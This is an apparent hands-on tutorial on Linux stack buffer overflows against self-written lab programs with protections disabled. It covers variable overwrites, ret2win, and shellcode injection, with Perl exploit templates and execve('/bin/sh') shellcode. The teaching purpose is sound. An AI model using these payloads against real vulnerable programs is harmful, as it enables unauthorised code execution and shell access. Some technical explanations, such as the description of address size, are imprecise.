Exploiting Stack
Part 1

Introduction

Alright, fellow hackers, it's time to get our hands dirty! In this session, we're diving into the fundamentals of stack exploitation. We'll be doing this in an environment free from any mitigations because it's crucial to grasp the underlying logic of exploitation first. Here's what we'll cover:

1. Change Variables In Stack
2. Change Return Address
3. Change Program Logic

You know, even the simplest vulnerability in the world can open up a ton of opportunities. Sure, as we dive deeper, things will get trickier thanks to modern defenses, but don't sweat it, hackers are rule-breakers, after all. So, just keep pushing forward!

Why We Can Exploit It

If you have the patience and the smarts to dive into “Linux Process In A Nutshell” and check out the references I provide, you’ll probably get a solid grasp of how the stack works, where it’s located, and why it’s important.

But here’s the thing: the issue isn’t with the stack at all. If you’ve read even one book about C, you probably understand the concept:

NEVER TRUST TO USER INPUT

Let me break it down for you. First off, remember that a computer isn’t a human. It simply follows our commands without any judgment about what’s good or bad; it just does what it’s told. Now, imagine a user tries to input 1000 symbols into a buffer that can’t handle that much data. You guessed it—it’ll crash the program! That’s why C programmers always need to validate input. But have you ever wondered why it crashes? Or even better, what we can do about it?

Alright, go ahead and open up “Linux In A Nutshell,” then head to the “Stack” chapter. Try running the same operations, but this time, input 10,000 symbols, for instance, and take another look at our stack. You’ll notice that our return addresses have been overwritten. That’s what leads to a Segmentation Fault (or stack smashing

detected) because there's no memory segment corresponding to that address. Now, let's explore our options.

Smashing The Stack

Time to do some hacking. Turn on our virtual machine, enter *turn_of_aslr* and compile program below:

```
#include <stdio.h>
#include <string.h>

int  main(int argc, char **argv)
{
  char buffer[64];

  if (argc == 1)
  {
      printf("Usage: %s *input*\n",
argv[0]);
      return 1;
  }
  strcpy(buffer, argv[1]);
  printf("Yourn input is: %s\n", buffer);
  return 0;

}
```

Compile it with -fno-stack-protector .

It's nothing too fancy, just a simple echo program. But let's take a closer look at what we've got here. We have a buffer allocated on our stack, and we're copying our first argument into it. Now, let's see what we're using to do that. Open the man page for strcpy (man strcpy) and check out the description. Did you catch anything interesting?

> *These functions copy the string pointed to by src, into a string at the buffer pointed to by dst. The programmer is responsible for allocating a destination buffer large enough, that is, strlen(src) + 1. For the difference between the two functions, see RETURN VALUE.*

We're already bending the rules in our code since our buffer has a fixed size. This means we could potentially cause some serious issues by entering more characters than necessary. This called "Smashing The Stack."
Now, here's a little challenge for you to practice!

```
#include <stdio.h>
#include <string.h>

int   main(int argc, char **argv)
{
  int cookie = 0x42;
  char   buffer[64];

  if (argc == 1)
  {
      printf("Usage: %s *input*\n", argv[0]);
      return 1;
  }
  strcpy(buffer, argv[1]);
  printf("Yourn input is: %s\n", buffer);
  if (cookie == 0x42)
  {
      printf("Meh, try again.\n");
      return 1;
  }
  printf("Looks like you just smashed the
stack -_-\nHECK YEAH !!!\n");
  return 0;

}
```

Compile it with -fno-stack-protector .

Little hint:
Always analyze the program with debugger before trying to exploit it.

It's pretty straightforward, right? But what happens if we switch the order of our variable declarations in the code? Go ahead, swap them around, compile, and take a look with the debugger again. You'll notice that our cookie is now sitting higher than our buffer, so remember, kids, always declare your buffers first!

Anyway, even if we can't change any variables, we've still got two other tricks up our sleeves to hack our program.

Ret2Win

Ret2Win stands for “Return To Win.” So, we’re going to overwrite our return address. But before we dive into that, let’s take another look at our addresses and see how they’re structured. Here’s a sample of what some of those addresses look like:

0x00007fffffffdd80

As we can see, this is made up of 6 bytes, with the last 2 bytes always being null bytes. If you’ve ever worked with character arrays—what we often call "strings" in C—you might have run into some issues, but we’ll dive into that a bit later.

Now let’s try hack this program below.

```
#include <stdio.h>

void  open_door(void)
{
  printf("Alright, come in\n");
}

int   main(void)
{
  char  buffer[64];

  printf("open_door() address: %p",
open_door);
  gets(buffer);
  return 0;
}
```

Compile program with this flags:

-fno-stack-protector
-no-pie

When it comes to hacking a program, the most crucial aspect is getting the input right. There are actually many ways to achieve this, but for now, let's keep it simple. In this chapter, we'll be using Perl. Perl is great because it works with bytes by default and has all the necessary tools to handle input smoothly. Here's a straightforward template for an exploit written in Perl:

```
$| = 1; # Print data without
buffering

$address = 0x8877665544332211; #
Random address

$junk = "A" x 72; # Some junk
$ret = pack("Q", $address); # Return
address

print $junk . $ret
```

Let’s understand what hell is this.

Let’s kick things off by turning off the buffering for output. You can usually just delete this line if you want; it’s mainly there to save a bit of time when our output is going to be large, but honestly, you probably won’t even notice it.

Next up, we’re going to declare our variable, which will hold our address.

After that, we’ll throw in some filler—just some junk we need to pad our stack until we hit the return address. In my example, that’s 72 A’s.

Finally, we’ll insert our address. Before I dive into what the pack() function does, let me share a few concepts with you.

Copy the code above, and launch it like this:

```
perl exploit.pl > bin
```

Then:

```
hexdump bin
```

Take a look at the bytes we sent to bin. You might notice something a bit off: instead of the usual 8877 5566 4433 2211, we see 2211 4433 6655 8877. So, what's going on? Our computer doesn't read and write numbers the same way we do. If I asked you to jot down the number 346731 on paper, writing two digits per line until you finish, it would look like this:

```
34
3467
346731
```

But computers do it the other way around. They write from right to left and read from left to right. So, it looks like this:

```
31
6731
346731
```

This is what we call Little Endian. Humanity also has Big Endian, but believe me or not, in practice, Little Endian is way more comfortable and effective than Big Endian.

So, that's the reason we use the pack() function—it converts our number into

Little Endian format. The Q template indicates that our number is a quad word. Now, let's put our program to the test and open the door.

Alright, let's take a look at our stack size. Fill it with junk until you reach the return address, and then insert the address of the open_door() function. Send the payload through a pipe, and voilà! The door is opened, but we've also triggered a segmentation fault. Give it a shot and analyze it yourself with the debugger—you already know how to do that!

To tackle this issue, we need to ensure our program can exit smoothly without any hiccups. So, wherever we can use the exit() function, we should locate the address and then adjust the return address of our open_door() function to prevent a segmentation fault. And just like that, you've successfully altered the program's workflow!

The thing is, when we compile our program, the compiler automatically includes the libc library, even if you don't explicitly add it. You can see this for yourself with a simple program that just returns 0 and doesn't include anything else. Just open it in a debugger, set a breakpoint at the main function, and use the **info proc mappings** command to check the memory of our process.

Shellcode Injection

Alright, we've just figured out how to manipulate our program using its inner functions and variables. But what if we want to make our program do something it wasn't originally designed for? For instance, how about getting it to delete a file, or if it has root permissions, giving us a privileged shell? We already know how to make our program jump to other functions, so let's push it to jump to OUR code!

Unfortunately, in Linux, a process can't access another process unless it's in debug mode. So, we need to find a way to inject our code into the program and get it to run. What if we try to place our payload into the stack and make our program jump to it? Generally, we can use the stack as a storage area for our code, which can, for instance, spawn a shell for us (that's where the term SHELLcode comes from). In this paper, I'll provide you with some shellcode, but don't worry, next time, we'll learn

how to create our own shellcodes, and it's easier than you might think!

Take the program below and compile it

```
#include <stdio.h>

int main()
{
   char buffer[64];

   printf("buffer: %p\n", buffer);
   gets(buffer);
}
```

Compile it with this flags:

-no-pie
-fno-stack-protector
-z execstack

Make sure ASLR is disabled and then try launching it. Now that we have our buffer address, let's move on to the exploitation part. Take the exploit provided below and modify the return address accordingly.

```
$| = 1;

$shellcode =
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2
f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4
8\x31\xf6\x48\x31\xc0\xb0\x3b\x48\x83\xe4\xf
0\x0f\x05";

$junk = "A" x 37;
$ret = pack("Q", 0xdeadbeef); # place
address here

print $shellcode . $junk . $ret
```

Now, let's see if we can get our exploit output to work with a pipe like we did before. What? Nothing happened? No worries, we can fix that! Just pass our payload to the program again, but this time, run it with *strace* like this:

perl exploit.pl | strace ./program

You'll be able to see all the system calls that our program has made. You'll also get a glimpse of how it gets initialized and how our operating system allocates memory for our process. In the middle of it all, you'll come across this line:

execve("/bin/sh", NULL, NULL)

As we can see, our payload successfully created a shell, but it's crucial to highlight two important syscalls at the end that really help us grasp what's happening.

```
read(0, "", 8192) = 0
exit_group(0)     = ?
```

As we can see, our read() syscall hits EOF right away and then it exits. This happens because when our *perl exploit.pl* finishes its task and closes the pipe, the OS sends an EOF signal to it. That EOF then reaches our spawned shell, which causes it to stop. However, there's a little trick to keep EOF at bay until we actually need it:

```
(perl exploit.pl; cat) | strace ./program
```

After we send our payload through the first side of the pipe, the cat command will hold onto the pipe and pass all our input to the shell. Just hit enter and then try running the commands *id* or *whoami*.

Hooray! We've just managed to get our program to spawn a shell for us. This technique is known as Shellcode Injection. In our "Shellcoding 101" paper, we'll dive into how to create shellcodes ourselves, get our program to work with files, interact with networks, and explore other exciting things.